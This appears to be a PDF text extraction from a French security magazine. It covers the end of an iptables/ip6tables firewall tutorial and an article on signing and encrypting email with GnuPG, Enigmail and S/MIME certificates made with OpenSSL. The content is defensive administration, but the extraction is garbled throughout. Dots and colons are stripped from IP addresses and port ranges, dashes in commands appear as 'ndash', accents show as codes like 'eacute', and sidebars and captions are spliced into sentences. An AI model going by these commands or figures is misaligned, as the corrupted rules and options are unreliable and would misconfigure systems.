ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

